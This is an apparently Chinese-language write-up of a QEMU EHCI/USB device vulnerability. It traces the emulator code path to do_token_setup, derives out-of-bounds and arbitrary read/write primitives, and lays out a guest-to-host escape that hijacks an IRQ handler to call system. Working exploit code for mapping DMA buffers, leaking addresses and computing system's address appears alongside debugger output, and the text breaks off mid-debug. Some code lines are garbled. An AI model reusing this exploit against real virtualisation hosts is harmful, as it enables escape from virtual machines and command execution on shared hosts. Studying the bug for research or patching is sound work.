35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static void ehci_work_bh(void *opaque)
{
EHCIState *ehci = opaque;
//...

if (ehci->working) {
return;
}
ehci->working = true;

t_now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
ns_elapsed = t_now - ehci->last_run_ns;
uframes = ns_elapsed / UFRAME_TIMER_NS;

if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {
need_timer++;
if (uframes > (ehci->maxframes * 8)) {
skipped_uframes = uframes - (ehci->maxframes * 8);
ehci_update_frindex(ehci, skipped_uframes);
ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes;
uframes -= skipped_uframes;
DPRINTF("WARNING - EHCI skipped %d uframes\n", skipped_uframes);
}

for (i = 0; i < uframes; i++) {
//...
ehci_update_frindex(ehci, 1);
if ((ehci->frindex & 7) == 0) {
ehci_advance_periodic_state(ehci); // 目标函数
}
ehci->last_run_ns += UFRAME_TIMER_NS;
}
} else {
//...
}
//...
}

static void ehci_update_frindex(EHCIState *ehci, int uframes)
{
//...

ehci->frindex = (ehci->frindex + uframes) % 0x4000;
}

#define USBCMD_PSE (1 << 4) // Periodic Schedule Enable
static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);
}
#define USBCMD_RUNSTOP (1 << 0) // run / Stop
static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP;
}

从上述代码中我们可以看到,首先需要满足条件判断ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE,这里我们选择满足前者,也就是ehci_periodic_enabled(ehci),那么就需要s->usbcmd & USBCMD_RUNSTOP==1 && s->usbcmd & USBCMD_PSE==1这两个条件。

这里对usbcmd的设置可以通过mmio_write(0x20, value)进行设置,因为usbcmdopreg结构体中的成员变量,而0x20用来设置该结构体中的值,usbcmd是第一个成员变量,因此这里直接mmio_write(0x20, value)即可以设置usbcmd

接着需要满足(ehci->frindex & 7) == 0判断条件,在这个判断条件之前,函数会调用ehci_update_frindex(ehci, 1);,该函数会导致frindex每次+1,也就是总会满足这个判断条件。

接着进入ehci_advance_periodic_state函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static void ehci_advance_periodic_state(EHCIState *ehci)
{
const int async = 0;
switch(ehci_get_state(ehci, async)) {
case EST_INACTIVE:
//...

case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {// 进入函数的先决条件,肯定满足
//...
break;
}

list = ehci->periodiclistbase & 0xfffff000;
/* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1);

if (get_dwords(ehci, list, &entry, 1) < 0) {
break;
}

DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry);
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async); // 目标函数
ehci_queues_rip_unused(ehci, async);
break;

default:
//...
}
}
static int ehci_get_state(EHCIState *s, int async)
{
return async ? s->astate : s->pstate;
}
static inline int get_dwords(EHCIState *ehci, uint32_t addr,
uint32_t *buf, int num)
{
int i;

if (!ehci->as) {
//...
return -1;
}

for (i = 0; i < num; i++, buf++, addr += sizeof(*buf)) {
dma_memory_read(ehci->as, addr, buf, sizeof(*buf));
*buf = le32_to_cpu(*buf);
}

return num;
}
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
if (async) {
s->a_fetch_addr = addr;
} else {
s->p_fetch_addr = addr;
}
}

从代码中我们看到,首先需要满足ehci->pstate==EST_ACTIVE,才能够进入case,接着进行了一个if判断,但是这个判断的条件正好是我们由ehci_work_bh进入ehci_advance_periodic_state函数的先觉条件,因此这里总是可以满足,也就不会绕过break

接着将ehci->periodiclistbase对齐后的地址赋值给了list,然后执行了list |= ((ehci->frindex & 0x1ff8) >> 1);从调试来看这里等价于list+4,这里只要满足list!=0即可。接下来是get_words的条件判断,这里需要满足ehci->as != 0。接着是调用了两个set函数,比较重要的就是ehci_set_fetch_addr函数,首先是get_wordslist中读取内容赋值给entry,接着ehci_set_fetch_addr函数将entry赋值给echi->p_fetch_addr

接着看一下ehci_advance_state函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/*
* This is the state machine that is common to both async and periodic
*/
static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;

do {
switch(ehci_get_state(ehci, async)) {
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;

case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;

case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;

case EST_FETCHITD:
again = ehci_state_fetchitd(ehci, async);
itd_count++;
break;

case EST_FETCHSITD:
again = ehci_state_fetchsitd(ehci, async);
itd_count++;
break;

case EST_ADVANCEQUEUE:
assert(q != NULL);
again = ehci_state_advqueue(q);
break;

case EST_FETCHQTD:
assert(q != NULL);
again = ehci_state_fetchqtd(q);
break;

case EST_HORIZONTALQH:
assert(q != NULL);
again = ehci_state_horizqh(q);
break;

case EST_EXECUTE:
assert(q != NULL);
again = ehci_state_execute(q); // 目标函数
if (async) {
ehci->async_stepdown = 0;
}
break;

case EST_EXECUTING:
assert(q != NULL);
if (async) {
ehci->async_stepdown = 0;
}
again = ehci_state_executing(q);
break;

case EST_WRITEBACK:
assert(q != NULL);
again = ehci_state_writeback(q);
if (!async) {
ehci->periodic_sched_active = PERIODIC_ACTIVE;
}
break;

default:
fprintf(stderr, "Bad state!\n");
again = -1;
g_assert_not_reached();
break;
}
}
while (again);
}
static int ehci_get_state(EHCIState *s, int async)
{
return async ? s->astate : s->pstate;
}

看注释该函数是一个状态机,根据echi->pstate的值来决定进入哪个状态。经过调试函数会首先进入EST_FETCHENTRY状态调用ehci_state_fetchentry函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
//...

switch (NLPTR_TYPE_GET(entry)) {
case NLPTR_TYPE_QH:
ehci_set_state(ehci, async, EST_FETCHQH);
again = 1;
break;

case NLPTR_TYPE_ITD:
ehci_set_state(ehci, async, EST_FETCHITD);
again = 1;
break;

case NLPTR_TYPE_STITD:
ehci_set_state(ehci, async, EST_FETCHSITD);
again = 1;
break;

default:
//...
return -1;
}

out:
return again;
}
#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)

该函数又是通过NLPTR_TYPE_GET函数的返回值来进一步的设置状态。NLPTR_TYPE_GET是一个宏定义,也就是函数通过entry/2的单子节来确定状态。

我们需要将状态机的状态转到EST_EXECUTE,我们搜索一下看一下哪里能够设置该状态。首先需要设置EST_FETCHQH状态,处理该状态过程中会调用ehci_state_fetchqh函数,并将状态转换到EST_FETCHQTD,处理EST_FETCHQTD状态的时候会调用ehci_state_fetchqtd函数,该函数就会将状态转换到EST_EXECUTE进而调用ehci_state_execute函数。

EST_FETCHQH状态的进入可以通过ehci_state_fetchentry函数来实现,要进入EST_FETCHQH状态需要使得NLPTR_TYPE_GET(entry) 的低一字节为1,也就是设置entry的低一字节为2,那么(2 >> 1) & 3计算结果即为1,即可进入到EST_FETCHQH状态,那么下面我们来看一下该状态处理中会调用的ehci_state_fetchqh函数。我们调用该函数的主要目的是为了使得状态机转换到EST_FETCHQTD状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async)
{
uint32_t entry;
EHCIQueue *q;
EHCIqh qh;

entry = ehci_get_fetch_addr(ehci, async);
q = ehci_find_queue_by_qh(ehci, entry, async);
if (q == NULL) {
q = ehci_alloc_queue(ehci, entry, async);
}

q->seen++;
if (q->seen > 1) {
/* we are going in circles -- stop processing */
ehci_set_state(ehci, async, EST_ACTIVE);
q = NULL;
goto out;
}

if (get_dwords(ehci, NLPTR_GET(q->qhaddr),
(uint32_t *) &qh, sizeof(EHCIqh) >> 2) < 0) {
q = NULL;
goto out;
}
ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);

/*
* The overlay area of the qh should never be changed by the guest,
* except when idle, in which case the reset is a nop.
*/
if (!ehci_verify_qh(q, &qh)) {
if (ehci_reset_queue(q) > 0) {
ehci_trace_guest_bug(ehci, "guest updated active QH");
}
}
q->qh = qh;

q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT);
if (q->transact_ctr == 0) { /* Guest bug in some versions of windows */
q->transact_ctr = 4;
}

if (q->dev == NULL) {
q->dev = ehci_find_device(q->ehci,
get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
}

//...

if (q->qh.token & QTD_TOKEN_HALT) {
//...
// #define QTD_TOKEN_ACTIVE (1 << 7)
// #define NLPTR_TBIT(x) ((x) & 1) // 1=invalid, 0=valid
} else if ((q->qh.token & QTD_TOKEN_ACTIVE) &&
(NLPTR_TBIT(q->qh.current_qtd) == 0) &&
(q->qh.current_qtd != 0)) {
q->qtdaddr = q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD); // 目标位置

} else {
//...
}

out:
return q;
}

因此这里我们除了需要保证q->qh.token & (1 << 7) == 1q->qh.current_qtd的最后一个bit == 0以及q->qh.current_qtd != 0这三个明显的条件之外还需要保证q->seen==0等防止进入到相关的if条件分支直接goto out,才可以触发到ehci_set_state(ehci, async, EST_FETCHQTD); 函数的调用将状态机转换为EST_FETCHQTD

那么这里的qh是怎么来的呢,qh是通过下面的函数调用得到的。

1
get_dwords(ehci, NLPTR_GET(q->qhaddr), (uint32_t *) &qh, sizeof(EHCIqh) >> 2)

也就是通过entry得到的,因此这里的qh的内容我们可以控制。那么将状态转换到EST_FETCHQTD之后,我们来看一下该状态处理函数ehci_state_fetchqtd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static int ehci_state_fetchqtd(EHCIQueue *q)
{
EHCIqtd qtd;
EHCIPacket *p;
int again = 1;
uint32_t addr;

addr = NLPTR_GET(q->qtdaddr);
if (get_dwords(q->ehci, addr + 8, &qtd.token, 1) < 0) {
return 0;
}
barrier();
if (get_dwords(q->ehci, addr + 0, &qtd.next, 1) < 0 ||
get_dwords(q->ehci, addr + 4, &qtd.altnext, 1) < 0 ||
get_dwords(q->ehci, addr + 12, qtd.bufptr,
ARRAY_SIZE(qtd.bufptr)) < 0) {
return 0;
}
ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd);

p = QTAILQ_FIRST(&q->packets);
if (p != NULL) {
if (!ehci_verify_qtd(p, &qtd)) {
ehci_cancel_queue(q);
if (qtd.token & QTD_TOKEN_ACTIVE) {
ehci_trace_guest_bug(q->ehci, "guest updated active qTD");
}
p = NULL;
} else {
p->qtd = qtd;
ehci_qh_do_overlay(q);
}
}
// #define QTD_TOKEN_ACTIVE (1 << 7)
if (!(qtd.token & QTD_TOKEN_ACTIVE)) {
//...
} else if (p != NULL) {
//...
} else if (q->dev == NULL) {
//...
} else {
p = ehci_alloc_packet(q);
p->qtdaddr = q->qtdaddr;
p->qtd = qtd;
ehci_set_state(q->ehci, q->async, EST_EXECUTE); // 目标位置
}

return again;
}

ehci_state_fetchqh函数中q->qtdaddr = q->qh.current_qtd;我们可以知道qtaddr是通过qh.current_qtd来进行控制的,而我们又能够控制qh的内容,因此这里的qtaddr我们也可以直接进行控制,也就是可以直接控制qtd,因此这里我们只需要设置qtd.token & (1 << 7) > 0即可。那么就会发生 ehci_set_state(q->ehci, q->async, EST_EXECUTE);的调用将状态机的状态转换为EST_EXECUTE,也就是会调用到我们的目标函数ehci_state_execute。我们看一下该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static int ehci_state_execute(EHCIQueue *q)
{
EHCIPacket *p = QTAILQ_FIRST(&q->packets);
int again = 0;

assert(p != NULL);
assert(p->qtdaddr == q->qtdaddr);

if (ehci_qh_do_overlay(q) != 0) {
return -1;
}

// TODO verify enough time remains in the uframe as in 4.4.1.1
// TODO write back ptr to async list when done or out of time

/* 4.10.3, bottom of page 82, go horizontal on transaction counter == 0 */
if (!q->async && q->transact_ctr == 0) {
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
again = 1;
goto out;
}

if (q->async) {
ehci_set_usbsts(q->ehci, USBSTS_REC);
}

again = ehci_execute(p, "process"); // 目标函数
if (again == -1) {
goto out;
}
if (p->packet.status == USB_RET_ASYNC) {
//...
}

ehci_set_state(q->ehci, q->async, EST_EXECUTING);
again = 1;

out:
return again;
}

可以看到这里ehci_execute(p, "process");的调用可以直接进行调用,进而直接调用usb_handle_packet(p->queue->dev, &p->packet);再进入usb_process_one(p);我们看一下该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;

/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status = USB_RET_SUCCESS;

if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}

这里的switch分支函数的调用是根据p->pid实现的。而p->pid的赋值是通过ehci_execute函数中的p->pid = ehci_get_pid(&p->qtd);调用来实现的。由于我们可以控制qtd,因此这里的pid也可以进行控制。也就是我们可以控制调用任何一个分支函数。

接下来看一下漏洞函数do_token_setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;qtd->token

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
// #define USB_DIR_IN 0x80
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}

if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}

p->actual_length = 8;
}

接着就到了漏洞存在的函数了。首先需要满足p->iov.size,该值是由qtd->token决定的,setup_buf的地址是由qtd->bufptr确定的,因此这里的长度可控。这个就是在do_token_setup这个函数的前面制定的也就是iov.size=8之后的usb_packet_copy函数的调用将iov中的内容拷贝到了setup_buf中。

越界读

越界读我们首先需要调用的是do_token_setup这个函数造成越界条件之后,在调用do_token_in这个函数进行越界读,要想调用这个函数我们需要先看一下p->pid的赋值函数ehci_get_pid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define 
(data, field) \
(((data) & field##_MASK) >> field##_SH)
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
static int ehci_get_pid(EHCIqtd *qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case 0:
return USB_TOKEN_OUT;
case 1:
return USB_TOKEN_IN;
case 2:
return USB_TOKEN_SETUP;
default:
fprintf(stderr, "bad token\n");
return 0;
}
}

因此这里我们要调用do_token_setup函数的话,需要设置(qtd->token & 0x300) >> 8 == 2。进入do_token_setup函数之后在根据s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];设置setup_len的值。这里需要我们提前设置p->iov.size = 8,这个值暂时不知道怎么计算的

其中 p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。这一块主要看后面的iov.size部分的内容

。为了之后进入指定的分支,我们在setup函数中需要进入到s->setup_state = SETUP_STATE_DATA;的调用。因此我们需要满足s->setup_buf[0] & USB_DIR_IN == 1(其实if的两个分支都可以进行设置,但是这里根据do_token_in里面的判断条件选择进入if成立的分支)。需要注意的是这里需要在设置setup_len之前进行设置,因为在设置setup_len之后,由于我们是进行越界读,因此if (s->setup_len > sizeof(s->data_buf)) 判断会成立,函数直接返回无法设置s->setup_state,只能是首先进行一次正常的读取设置完成状态之后在进行setup_len的设置,最后进行越界的读取。

在调用完毕setup函数,设置完setup_len之后,就可以需要设置(qtd->token & 0x300) >> 8 == 1,以用来调用do_token_in函数。

越界写

越界写,首先需要设置(qtd->token & 0x300) >> 8 == 2调用do_token_setup函数设置setup_len的值,接着需要设置s->setup_buf[0] & USB_DIR_IN == 0也就是s->setup_buf[0] = USB_DIR_OUT,这里也是根据do_token_out函数里面的写入条件判断进行设置的。选择if不成立时候的分支设置s->setup_state = SETUP_STATE_DATA;

1
2
3
4
5
6
7
8
9
10
11
12
if (!(s->setup_buf[0] & USB_DIR_IN)) {// 所以这里需要设置的是s->setup_buf[0] = USB_DIR_OUT
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}

任意读

首先我们先看一下setup_len,setup_buf所在的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; // 拷贝对象
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};

接着我们看一下do_token_in也就是读函数中的核心部分

1
2
3
4
5
6
7
8
9
10
11
12
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}

可以看到这里的读操作是将s->data_buf + s->setup_index作为拷贝的起始地址,将s->setup_len - s->setup_index作为拷贝的长度,进行了内存的拷贝。

那么这里如果我们首先将setup_len设置为0x1010也就是溢出0x10字节。调用越界写函数覆写setup_len=0x1010,setup_index=0xfffffff8即可以覆写setup_buf[8]这个数组。

覆写setup_buf[0]=USB_DIR_IN,将setup_index设置为target_addr - s->data_buf - 0x1018,那么len = s->setup_len - s->setup_index = 0x1018,越界写入结束之后s->setup_index += len,此时setup_index = target_addr - s->data_buf

那么此时再调用一次读函数,目标地址就变为了target_addr,也就是实现了任意读。

任意写

通过do_token_setup设置setup_len=0x1010

通过越界写将setup_len设置为offset+0x8,将setup_index设置为offset-0x1010,那么在这一次越界写入结束之后setup_index=offset,在下一次调用写函数的时候目标地址就变为了offset,拷贝长度len=offset+0x8-(offset - 0x1010)=0x1018。完成任意写。

整体利用思路

  1. 获取USBDevice对象的地址。

    首先进行越界读取data_buf+0x2004即可以得到USBDevice->remote_wakeup的内容,继续往下读取可以得到USBEndpoint ep_ctl;成员变量的内容,我们看一下该结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    QTAILQ_HEAD(, USBPacket) queue;
    };

    那么可以看到这里保存了一个USBDevice对象的指针,我们读取该指针即可以得到USBDevice对象的地址。得到改地址之后通过偏移即可以知道data_buf,port的地址。

  2. 再继续往下读取,可以发现一个成员变量USBDescDevice *device;,通过该变量我们可以知道system的地址。

  3. USBDevicerealize的时候会调用usb_claim_port函数用来将USBDevice中的port字段设置为指向EHCIState中的ports的地址,读取USBDevice->ports的内容(调用任意读读取1中得到的port地址得到指针值)就能够得到EHCIState->ports的地址,减去偏移即可得到EHCIState的基地址,进而可以根据偏移得到EHCIState->irq的地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    void usb_claim_port(USBDevice *dev, Error **errp)
    {
    USBBus *bus = usb_bus_from_device(dev);// dev->qdev.parent_bus
    USBPort *port;

    assert(dev->port == NULL);

    if (dev->port_path) {
    QTAILQ_FOREACH(port, &bus->free, next) {
    if (strcmp(port->path, dev->port_path) == 0) {
    break;
    }
    }
    if (port == NULL) {
    error_setg(errp, "usb port %s (bus %s) not found (in use?)",
    dev->port_path, bus->qbus.name);
    return;
    }
    } else {
    if (bus->nfree == 1 && strcmp(object_get_typename(OBJECT(dev)), "usb-hub") != 0) {
    /* Create a new hub and chain it on */
    usb_try_create_simple(bus, "usb-hub", NULL);
    }
    if (bus->nfree == 0) {
    error_setg(errp, "tried to attach usb device %s to a bus "
    "with no free ports", dev->product_desc);
    return;
    }
    port = QTAILQ_FIRST(&bus->free);
    }
    trace_usb_port_claim(bus->busnr, port->path);

    QTAILQ_REMOVE(&bus->free, port, next);
    bus->nfree--;

    dev->port = port;
    port->dev = dev;

    QTAILQ_INSERT_TAIL(&bus->used, port, next);
    bus->nused++;
    }
  4. 利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler填充为system.plt的地址,将opaque填充为payload的地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
    };
    typedef struct IRQState *qemu_irq;
    void qemu_set_irq(qemu_irq irq, int level)
    {
    if (!irq)
    return;

    irq->handler(irq->opaque, irq->n, level);
    }

EXP&漏洞调试

Step1

我们根据exp.c来进行一下漏洞的调试,首先看一下main函数的开始部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int main(){
puts("\033[41;37m[*] Beginning\033[0m");
puts("\033[47;31m[*] Wait a moment\033[0m");

init();

printf("\033[41;37m[*] Step 1/3\033[0m\n");

oob_read(0x2000,1);
device_addr = 0;

for(int i=36;i<42;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
device_addr |= tmp << ((i-36) * 8);
}

func_addr = 0;
port_addr = device_addr+0x78;
data_buf_addr = device_addr+0xdc;

printf("\033[47;31m[*] Devices addr : 0x%lx\033[0m\n",device_addr);
printf("\033[47;31m[*] Port addr : 0x%lx\033[0m\n",port_addr);
printf("\033[47;31m[*] Data Buf addr : 0x%lx\033[0m\n",data_buf_addr);
for(int i=0x4fc;i<0x4fc+6;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
func_addr |= tmp << ((i-0x4fc) * 8);
}
proc_base = func_addr - 0x1069490;
printf("\033[47;31m[*] Func addr : 0x%lx\033[0m\n",func_addr);
printf("\033[47;31m[*] proc base : 0x%lx\033[0m\n",proc_base);

//uint64_t system_addr = func_addr - 0xb5c860;
uint64_t system_addr = proc_base + 0x2BE010;

printf("\033[47;31m[*] System addr : 0x%lx\033[0m\n",system_addr);
sleep(3);
//...
}

首先调用了init函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void init(void){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");

mlock(dmabuf, 0x3000);

//printf("[*] mmio_mem : %p\n", mmio_mem);
//printf("[*] dmabuf : %p\n",dmabuf);

entry = dmabuf + 0x4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_bufoob = dmabuf + 0x2000;
first_leak_data = dmabuf + 0x2000;
second_leak_data = dmabuf + 0x1000;
}

函数主要是对resource进行了映射,即读写mmio_mem这段内存即可对设备进行操作。接着调用了oob_read即越界读,读取data_buf偏移之后的内容获取得到一系列的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void oob_read(uint64_t length,int flag){
if(flag){
perpare_read();
puts("\033[47;31m[*] perpare read finished\033[0m");
set_length(length);
puts("\033[47;31m[*] set length finished\033[0m");
}

data_buf[0] = 'R';
data_buf[1] = 'e';
data_buf[2] = 's';
data_buf[3] = 'e';
data_buf[4] = 'r';
data_buf[5] = 'y';

qtd->token = (0x1e00 << 16) | (1 << 7) | (1 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
puts("\033[47;31m[*] oob read start\033[0m");
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf)); // periodiclistbase

sleep(5);
}

函数中的flag表示的是否是write之后的第一次读,因为如果是第一次读的话需要设置s->setup_state的值。需要注意的是这里长度并不是根据传入的值来的,而是写死的0x1e00,虽然该函数一开始传入的是0x2000,但是在do_token_in函数中会存在一个判断

1
2
3
4
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}

而这里的iov.size是根据token的值设置的。因此这里设置的总是iov.size的值,也就是写死的0x1e00。调用prepare_read函数设置完毕s->setup_state之后又调用了set_length设置setup_len为溢出的值,接着就调用了do_token_in函数进行越界的读取,读取出来的地址我们根据qtd.bufptr数组指定。

泄漏了data_buf结构体之后0xe00大小的USBDevice的其他成员变量的内容,这里在偏移0x24的位置存储了一个USBDevice结构体指针指向本结构体,因此这里我们可以得到结构体的基地址,进而计算得到port/data_buf的地址。

1
2
3
4
5
6
7
8
9
10
pwndbg> p &s->data_buf
$43 = (uint8_t (*)[4096]) 0x5555576b539c
pwndbg> p s->ep_ctl.dev
$44 = (USBDevice *) 0x5555576b52c0
pwndbg> p &s->ep_ctl.dev
$45 = (USBDevice **) 0x5555576b63c0
pwndbg> p/x 0x5555576b63c0 - 0x5555576b539c - 0x1000
$46 = 0x24
pwndbg> p s
$47 = (USBDevice *) 0x5555576b52c0

USBDevice结构体中还存在一个成员变量device指向一个bss段中的地址,这里我们可以据此泄漏出elf的基地址,进而得到system.plt的地址,该成员变量距离data_buf.end的偏移是0x4fc

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p s->device
$48 = (const USBDescDevice *) 0x5555565bf170 <desc_device_high>
pwndbg> vmmap 0x5555565bf170
